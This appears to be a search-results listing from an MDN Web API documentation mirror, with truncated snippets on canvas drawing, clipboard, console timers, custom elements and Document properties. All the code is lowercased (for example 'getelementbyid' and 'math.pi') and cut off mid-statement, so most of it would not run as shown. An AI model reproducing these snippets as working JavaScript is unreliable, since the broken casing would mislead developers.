... the original image looks like this: html <canvas id="canvas" width="300" height="300"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in this exam...
CanvasRenderingContext2D.drawImage() - Web APIs
html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/db/f374e9c6fc.jpg" width="300" height="227"> </div> javascript the source image is taken from the coordinates (33, 71), with a width of 104 and a height of 124.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = new image(60, 45); // using optional size for image image.onload = drawimageactualsize; // draw when image has loaded // load an image of intrinsic size 300x227 in css pixels image.src = 'https://udn.realityripple.com/samples/db/f374e9c6fc.jpg'; function drawimagea...
CanvasRenderingContext2D.ellipse() - Web APIs
html <canvas id="canvas" width="200" height="200"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw the ellipse ctx.beginpath(); ctx.ellipse(100, 100, 50, 75, math.pi / 4, 0, 2 * math.pi); ctx.stroke(); // draw the ellipse's line of reflection ctx.beginpath(); ctx.setlinedash([5, 5]); ctx.moveto(0, 200); ctx.lineto(200, 0); ctx.stroke(); resu...
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'red'; ctx.beginpath(); ctx.ellipse(60, 75, 50, 30, math.pi * .25, 0, math.pi * 1.5); ctx.fill(); ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.ellipse(150, 75, 50, 30, math.pi * .25, 0, math.pi); ctx.fill(); ctx.fillstyle = 'green'; ctx.beginpath(); ctx.ellipse(240, 75, 50, 30, math.pi * .25, 0, math.pi, true); ctx.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.ellipse' in that specification.
CanvasRenderingContext2D.fillStyle - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); result creating multiple fill colors using loops in this example, we use two for loops to draw a grid of rectangles, each having a different fill color.
... <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.fillstyle = `rgb( ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)}, 0)`; ctx.fillrect(j * 25, i * 25, 25, 25); } } the result looks like this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcont...
CanvasRenderingContext2D.globalAlpha - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalalpha = 0.5; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result overlaying transparent shapes this example illustrates the effect of overlaying multiple transparent shapes on top of each other.
... <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw background ctx.fillstyle = '#fd0'; ctx.fillrect(0, 0, 75, 75); ctx.fillstyle = '#6c0'; ctx.fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set tran...
CanvasRenderingContext2D.isPointInStroke() - Web APIs
html <canvas id="canvas"></canvas> <p>in stroke: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innertext = ctx.ispointinstroke(50, 10); result checking a point in the specified path whenever you move the mouse, this examp...
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create ellipse const ellipse = new path2d(); ellipse.ellipse(150, 75, 40, 60, math.pi * .25, 0, 2 * math.pi); ctx.linewidth = 25; ctx.strokestyle = 'red'; ctx.fill(ellipse); ctx.stroke(ellipse); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside ellipse's stroke if (ctx.ispointinstroke(ellipse, event.offsetx, event.offsety)) { ctx.strokestyle = 'green'; } else { ctx.strokestyle = 'red'; } // draw ellipse ctx.clearrect(0, 0, can...
CanvasRenderingContext2D.lineTo() - Web APIs
html <canvas id="canvas"></canvas> javascript the line begins at (30, 50) and ends at (150, 100).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.moveto(90, 130); ctx.lineto(95, 25); ctx.lineto(150, 80); ctx.lineto(205, 25); ctx.lineto(210, 130); ctx.linewidth = 15; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext...
CanvasRenderingContext2D.miterLimit - Web APIs
playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginpath(); ctx.moveto(0,0); ctx.linewidth = 15; ctx.lineto(100, 100); ctx.stroke();</textarea> var canvas = document.getelementbyid("canvas"); v...
...ar ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.miterlimit' in that specification.
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // quadratic bézier curve ctx.beginpath(); ctx.moveto(50, 20); ctx.quadraticcurveto(230, 30, 50, 100); ctx.stroke(); // start and end points ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.arc(50, 20, 5, 0, 2 * math.pi); // start point ctx.arc(50, 100, 5, 0, 2 * math.pi); // en...
... html <canvas id="canvas"></canvas> javascript the curve begins at the point specified by moveto(): (20, 110).
CanvasRenderingContext2D.resetTransform() - Web APIs
html <canvas id="canvas"></canvas> javascript the rotate() method rotates the transformation matrix by 45°.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // skewed rectangles ctx.transform(1, 0, 1.7, 1, 0, 0); ctx.fillstyle = 'gray'; ctx.fillrect(40, 40, 50, 20); ctx.fillrect(40, 90, 50, 20); // non-skewed rectangles ctx.resettransform(); ctx.fillstyle = 'red'; ctx.fillrect(40, 40, 50, 20); ctx.fillrect(40, 90, 50, 20); result ...
CanvasRenderingContext2D.rotate() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // point of transform origin ctx.arc(0, 0, 5, 0, 2 * math.pi); ctx.fillstyle = 'blue'; ctx.fill(); // non-rotated rectangle ctx.fillstyle = 'gray'; ctx.fillrect(100, 0, 80, 20); // rotated rectangle ctx.rotate(45 * math.pi / 180); ctx.fillstyle = 'red'; ctx.fillrect(100, 0, 80,...
... html <canvas id="canvas"></canvas> javascript the shape is a rectangle with its corner at (80, 60), a width of 140, a height of 30.
CanvasRenderingContext2D.setLineDash() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some common patterns this example illustrates ...
... html <canvas id="canvas"></canvas> javascript the drawdashedline() function created below makes the drawing of multiple dashed lines simple.
CanvasRenderingContext2D.setTransform() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.settransform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result retrieving and passing a dommatrix object in the following example, we have two <canvas> elements.
... html <canvas width="240"></canvas> <canvas width="240"></canvas> css canvas { border: 1px solid black; } javascript const canvases = document.queryselectorall('canvas'); const ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransfo...
CanvasRenderingContext2D.shadowColor - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 10; ctx.shadowoffsety = 10; // filled rectangle ctx.fillrect(20, 20, 100, 100); // stroked rectangle ctx.linewidth = 6; ctx.strokerect(170, 20, 100, 100); result shadows on translucent shapes a shadow's opacity is aff...
... html <canvas id="canvas"></canvas> javascript the resulting alpha value of the fill shadow is .8 * .2, or .16.
CanvasRenderingContext2D.strokeRect() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle's top-left corner is at (20, 10).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.shadowcolor = '#d53'; ctx.shadowblur = 20; ctx.linejoin = 'bevel'; ctx.linewidth = 15; ctx.strokestyle = '#38f'; ctx.strokerect(30, 30, 160, 90); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokerect' in that specification.
CanvasRenderingContext2D.strokeStyle - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.strokestyle = 'blue'; ctx.strokerect(10, 10, 100, 100); result creating multiple stroke colors using loops in this example, we use two for loops and the arc() method to draw a grid of circles, each having a different stroke color.
...(the red channel has a fixed value.) <canvas id="canvas" width="150" height="150"></canvas> var ctx = document.getelementbyid('canvas').getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.strokestyle = `rgb( 0, ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)})`; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } the result looks like this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokestyle' in th...
ChannelSplitterNode - Web APIs
channel count mode "explicit" older implementations, as per earlier versions of the spec use "max".
... channel interpretation "discrete" constructor channelsplitternode() creates a new channelsplitternode object instance.
Client.postMessage() - Web APIs
the message is received in the "message" event on navigator.serviceworker.
... client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
Clients.claim() - Web APIs
WebAPIClientsclaim
this triggers a "controllerchange" event on navigator.serviceworker in any clients that become controlled by this service worker.
... example the following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same scope do not need to be reloaded before their fetches will go through this service worker.
Clients.matchAll() - Web APIs
WebAPIClientsmatchAll
available values are "window", "worker", "sharedworker", and "all".
... the default is "all".
Clipboard.readText() - Web APIs
the "clipboard-read" permission of the permissions api must be granted before you can read data from the clipboard.
... navigator.clipboard.readtext().then( cliptext => document.getelementbyid("outbox").innertext = cliptext); specifications specification status comment clipboard api and eventsthe definition of 'readtext()' in that specification.
Clipboard.write() - Web APIs
WebAPIClipboardwrite
the "clipboard-write" permission of the permissions api, is granted automatically to pages when they are in the active tab.
... function setclipboard(text) { let data = [new clipboarditem({ "text/plain": text })]; navigator.clipboard.write(data).then(function() { /* success */ }, function() { /* failure */ }); } the code begins by creating a new clipboarditem object into which the text will be placed for sending to the clipboard.
Clipboard - Web APIs
WebAPIClipboard
calls to the methods of the clipboard object will not succeed if the user hasn't granted the needed permissions using the permissions api and the "clipboard-read" or "clipboard-write" permission as appropriate.
... for example, firefox does not yet support the "clipboard-read" and "clipboard-write" permissions, so access to the methods that access and change the contents of the clipboard are restricted in other ways.
Console.timeEnd() - Web APIs
WebAPIConsoletimeEnd
examples console.time("answer time"); alert("click to continue"); console.timelog("answer time"); alert("do a bunch of other stuff..."); console.timeend("answer time"); the output from the example above shows the time taken by the user to dismiss the first alert box, followed by the time it took for the user to dismiss the second alert: notice that the timer's name is displayed when the timer value is logged usin...
...in addition, the call to timeend() has the additional information, "timer ended" to make it obvious that the timer is no longer tracking time.
Console.timeLog() - Web APIs
WebAPIConsoletimeLog
examples console.time("answer time"); alert("click to continue"); console.timelog("answer time"); alert("do a bunch of other stuff..."); console.timeend("answer time"); the output from the example above shows the time taken by the user to dismiss the first alert box, followed by the time it took for the user to dismiss the second alert: notice that the timer's name is displayed when the timer value is logged using ...
...in addition, the call to timeend() has the additional information, "timer ended" to make it obvious that the timer is no longer tracking time.
ConvolverNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 1, 2, or 4 channel interpretation "speakers" constructor convolvernode() creates a new convolvernode object instance.
... let audioctx = new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ...
CustomElementRegistry.define() - Web APIs
icon:hover + .info, .icon:focus + .info {' + 'opacity: 1;' + '}'; // attach the created elements to the shadow dom shadow.appendchild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(info); } } // define the new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."> note: constructors for autonomous custom elements must extend htmlelement.
...ateelement('span'); text.textcontent = count; // append it to the shadow root shadow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'customelements.define()' in that specification.
CustomEvent() - Web APIs
customeventinit optional a customeventinit dictionary, having the following fields: "detail", optional and defaulting to null, of type any, that is an event-dependent value associated with the event.
... example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event var event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); additional examples can be found at creating and triggering events.
DOMException - Web APIs
each exception has a name, which is a short "camelcase" style string identifying the error or abnormal condition.
... readonlyerror the mutating operation was attempted in a "readonly" transaction (no legacy code value and constant name).
DOMMatrixReadOnly - Web APIs
the elements are stored into the array as single-precision floating-point numbers in column-major (colexographical access, or "colex") order.
...the elements are stored into the array as double-precision floating-point numbers in column-major (colexographical access access or "colex") order.
DOMRect - Web APIs
WebAPIDOMRect
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/domrectreadonly" target="_top"><rect x="1" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4"...
... stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrectreadonly</text></a><polyline points="151,25 161,20 161,30 151,25" stroke="#d4dde4" fill="none"/><line x1="161" y1="25" x2="191" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/domrect" target="_top"><rect x="191" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="228.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor domrect() creates a new domrect object.
DOMTokenList.contains() - Web APIs
we then test for the existence of "c" in the list, and write the result into the <span>'s node.textcontent.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.contains("c"); if (result) { span.textcontent = "the classlist contains 'c'"; } else { span.textcontent = "the classlist does not contain 'c'"; } the output looks like this: specifications specification status comment domthe definition of 'contains()' in that specification.
DOMTokenList.remove() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.remove("c"); span.textcontent = classes; the output looks like this: to remove multiple classes at once, you can supply multiple tokens.
... the order you supply the tokens doesn't have to match the order they appear in the list: let span2 = document.getelementsbytagname("span")[0] let classes2 = span.classlist; classes2.remove("c", "b"); span2.textcontent = classes; specifications specification status comment domthe definition of 'remove()' in that specification.
DOMTokenList - Web APIs
first, the html: <p class="a b c"></p> now the javascript: let para = document.queryselector("p"); let classes = para.classlist; para.classlist.add("d"); para.textcontent = `paragraph classlist is "${classes}"`; the output looks like this: trimming of whitespace and removal of duplicates methods that modify the domtokenlist (such as domtokenlist.add()) automatically trim any excess whitespace and remove duplicate val...
...for example: <span class=" d d e f"></span> let span = document.queryselector("span"); let classes = span.classlist; span.classlist.add("x"); span.textcontent = `span classlist is "${classes}"`; the output looks like this: specifications specification status comment domthe definition of 'domtokenlist' in that specification.
DataTransfer.getData() - Web APIs
html content <div id="div1" ondrop="drop(event)" ondragover="allowdrop(event)"> <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span> </div> <div id="div2" ondrop="drop(event)" ondragover="allowdrop(event)"></div> css content #div1, #div2 { width:100px; height:50px; padding:10px; border:1px solid #aaaaaa; } javascript content function allowdrop(allowdropeve...
...nt) { allowdropevent.target.style.color = 'blue'; allowdropevent.preventdefault(); } function drag(dragevent) { dragevent.datatransfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } result specifications specification status comment html living standardthe definition of 'getdata()' in that specification.
Using light sensors - Web APIs
window.addeventlistener("devicelight", function (event) { // read out the lux value var luminosity = event.value; alert(luminosity); }); example: window.addeventlistener('devicelight', function(event) { var bodybg= document.body.style; //event.value is the lux value returned by the sensor on the device if (event.value < 100) { alert('hey, you!
... you are working in a dark environment'); bodybg.backgroundcolor="lightgrey"; } else { bodybg.backgroundcolor="#fff"; } }); this example shows how the api can actually be used in the wild.
Document: DOMContentLoaded event - Web APIs
if loaded as usual, stylesheets slow down dom parsing as they're loaded in parallel, "stealing" traffic from the main html document.
... function dosomething() { console.info('dom loaded'); } if (document.readystate === 'loading') { // loading hasn't finished yet document.addeventlistener('domcontentloaded', dosomething); } else { // `domcontentloaded` has already fired dosomething(); } live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { ...
Document.anchors - Web APIs
WebAPIDocumentanchors
example if (document.anchors.length >= 5) { dump("found too many anchors"); } the following is an example that auto populates a table of contents with every anchor on the page: <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>test</title> <script> function init() { var toc = document.getelementbyid("toc"); var i, li, newanchor; for (i = 0; i < document.anchors.length; i++) { li = document.createelement("li"); newanchor = document.createelement('a'); newanchor.href = "#" + document.anchors[i].name; newanchor.innerhtml = document.anchors[i].text; li.appendchild...
...(newanchor); toc.appendchild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="contents">contents</a></h2> <ul id="toc"></ul> <h2><a name="plants">plants</a></h2> <ol> <li>apples</li> <li>oranges</li> <li>pears</li> </ol> <h2><a name="veggies">veggies</a></h2> <ol> <li>carrots</li> <li>celery</li> <li>beats</li> </ol> </body> </html> view on jsfiddle notes for reasons of backwards compatibility, the returned set of anchors only contains those anchors created with the name attribute, not those created with the id attribute.
Document.bgColor - Web APIs
WebAPIDocumentbgColor
syntax color = document.bgcolor document.bgcolor =color parameters color is a string representing the color as a word (e.g., "red") or hexadecimal value (e.g., "#ff0000").
... example document.bgcolor = "darkblue"; notes the default value for this property in firefox is white (#ffffff in hexadecimal).
Document.characterSet - Web APIs
users can override the developer-specified encoding inside the content-type header or inline like <meta charset="utf-8">, such as with firefox's view → text encoding menu.
... syntax var string = document.characterset; examples <button onclick="console.log(document.characterset);"> log character encoding </button> <!-- displays document's character encoding in the dev console, such as "iso-8859-1" or "utf-8" --> specifications specification status comment domthe definition of 'characterset' in that specification.
Document.createElementNS() - Web APIs
although this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("h...
...ttp://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchild(txtnode); container.appendchild(newdiv); } ]]></script> <vbox id="containerbox" flex="1"> <html:div> the script on this page will add dynamic content below: </html:div> </vbox> </page> the example given above uses inline script which is not recommended in xhtml documents.
Document.createProcessingInstruction() - Web APIs
exceptions dom_invalid_character throws if either of the following are true: the processing instruction target is invalid — it should be a valid xml name that doesn't contain "xml", "xml", or any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>.
... example var doc = new domparser().parsefromstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment domthe definition of 'createprocessinginstruction()' in that specification.
Document.enableStyleSheetsForSet() - Web APIs
calling this method with a null name has no effect; if you want to disable all alternate and preferred style sheets, you must pass "", the empty string.
... example document.enablestylesheetsforset("some style sheet set name"); ...
Document.forms - Web APIs
WebAPIDocumentforms
examples getting form information <!doctype html> <html lang="en"> <head> <title>document.forms example</title> </head> <body> <form id="robby"> <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /> </form> <form id="dave"> <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /> </form> <form id="paul"> <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /> </form...
...> </body> </html> getting an element from within a form var selectform = document.forms[index]; var selectformelement = document.forms[index].elements[index]; named form access <!doctype html> <html lang="en"> <head> <title>document.forms example</title> </head> <body> <form name="login"> <input name="email" type="email"> <input name="password" type="password"> <button type="submit">log in</button> </form> <script> var loginform = document.forms.login; // or document.forms['login'] loginform.elements.email.placeholder = 'test@example.com'; loginform.elements.password.placeholder = 'password'; </script> </body> </html> specifications specification status comment html living standardthe definition of 'document.forms' in that specification...
Document.lastModified - Web APIs
here is a possible example of how to show an alert message when the page changes (see also: javascript cookies api): if (date.parse(document.lastmodified) > parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; alert("this page has changed!"); } …the same example, but skipping the first visit: var nlastvisit = parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), nlastmodif = date.parse(document.lastmodified); if (isnan...
...(nlastvisit) || nlastmodif > nlastvisit) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; if (isfinite(nlastvisit)) { alert("this page has been changed!"); } } note: webkit returns the time string in utc; gecko and internet explorer return a time in the local timezone.
Document.open() - Web APIs
WebAPIDocumentopen
document.open(); document.write("<p>hello world!</p>"); document.write("<p>i am a fish</p>"); document.write("<p>the number is 42</p>"); document.close(); notes an automatic document.open() call happens when document.write() is called after the page has loaded.
...a string of "replace") specified that the history entry for the new document would replace the current history entry of the document being written to.
Document.popupNode - Web APIs
syntax var node = document.popupnode; example <menupopup id="toolbarcontextmenu"> ...
... <menuitem oncommand="mailnewscore.deletebutton(document.popupnode)"> ...
Document.preferredStyleSheetSet - Web APIs
if there isn't a preferred style sheet set defined by the author, the empty string ("") is returned.
... example if (document.preferredstylesheetset) { console.log("the preferred style sheet set is: " + document.preferredstylesheetset); } else { console.log("there is no preferred style sheet."); } ...
Document.queryCommandState() - Web APIs
example html <div contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: ...
... alert("the state of the 'bold' command is indeterminable."); break; } document.execcommand('bold'); } result specifications specification status comment execcommand ...
Document: visibilitychange event - Web APIs
document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
...please contribute data for "api.document.visibilitychange" (depth: 1) to the mdn compatibility data repository.
Document.writeln() - Web APIs
WebAPIDocumentwriteln
example document.writeln("<p>enter password:</p>"); notes document.writeln is the same as document.write but adds a newline.
... note: document.writeln (like document.write) does not work in xhtml documents (you'll get a "operation is not supported" (ns_error_dom_not_supported_err) error on the error console).
Document.xmlEncoding - Web APIs
if the xml declaration states: <?xml version="1.0" encoding="utf-16"?> ...the result should be "utf-16".
... however, firefox 3.0 includes information on endianness (e.g., utf-16be for big endian encoding), and while this extra information is removed as of firefox 3.1b3, firefox 3.1b3 is still consulting the file's encoding, rather than the xml declaration as the spec defines it ("an attribute specifying, as part of the xml declaration, the encoding of this document.").
Document.xmlVersion - Web APIs
returns the version number as specified in the xml declaration (e.g., <?xml version="1.0"?>) or "1.0" if the declaration is absent.
...to detect this, you can create an element with its name in lower case, then check to see if it gets converted into all upper case (in which case the document is in the non-xml html mode): if (document.createelement("foo").tagname == "foo") { /* document is not xml */ } specifications http://www.w3.org/tr/dom-level-3-cor...ument3-version this has been removed from dom core level 4wd ...
DocumentFragment.querySelector() - Web APIs
examples basic example in this basic example, the first element in the documentfragment with the class "myclass" is returned: var el = documentfragment.queryselector(".myclass"); css syntax and the method's argument the string argument pass to queryselector must follow the css syntax.
... to match id or selectors that do not follow the css syntax (by using semicolon or space inappropriately for example), it's mandatory to escape the wrong character with a double back slash: <div id="foo\bar"></div> <div id="foo:bar"></div> <script> document.queryselector('#foo\bar') // does not match anything document.queryselector('#foo\\\\bar') // match the first div document.queryselector('#foo:bar') // does not match anything document.queryselector('#foo\\:bar') // match the second div </script> specifications specification status comment selectors api level 2the definition of 'documentfragment.queryselector' in that specification.
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
example html <div> <p>some text</p> </div> <p>elements at point 30, 20:</p> <div id="output"></div> javascript let output = document.getelementbyid("output"); if (document.elementsfrompoint) { let elements = document.elementsfrompoint(30, 20); for (var i = 0; i < elements.length; i++) { output.textcontent += elements[i].localname; if (i < elements.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" ...
...+ "browser does not support <code>document.elementsfrompoint()</code>" + "</span>"; } specifications specification status shadow domthe definition of 'elementsfrompoint()' in that specification.
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
example html content <div> <p>some text</p> </div> <p>nodes at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodesfrompoint) { var nodes = document.nodesfrompoint(30, 20); for(var i = 0; i < nodes.length; i++) { output.textcontent += nodes[i].localname; if (i < nodes.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "bro...
...wser does not support <code>document.nodesfrompoint()</code>" + "</span>"; } specifications not part of any specification at present.
Locating DOM elements using selectors - Web APIs
for example, to select all paragraph (p) elements in a document whose css class is either warning or note, you can do the following: var special = document.queryselectorall( "p.warning, p.note" ); you can also query by id.
... for example: var el = document.queryselector( "#main, #basic, #exclamation" ); after executing the above code, el contains the first element in the document whose id is one of main, basic, or exclamation.
Example - Web APIs
<html> <head> <title>my document</title> <script type="text/javascript"> function change() { // document.getelementsbytagname("h1") returns a nodelist of the h1 // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h1").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document".
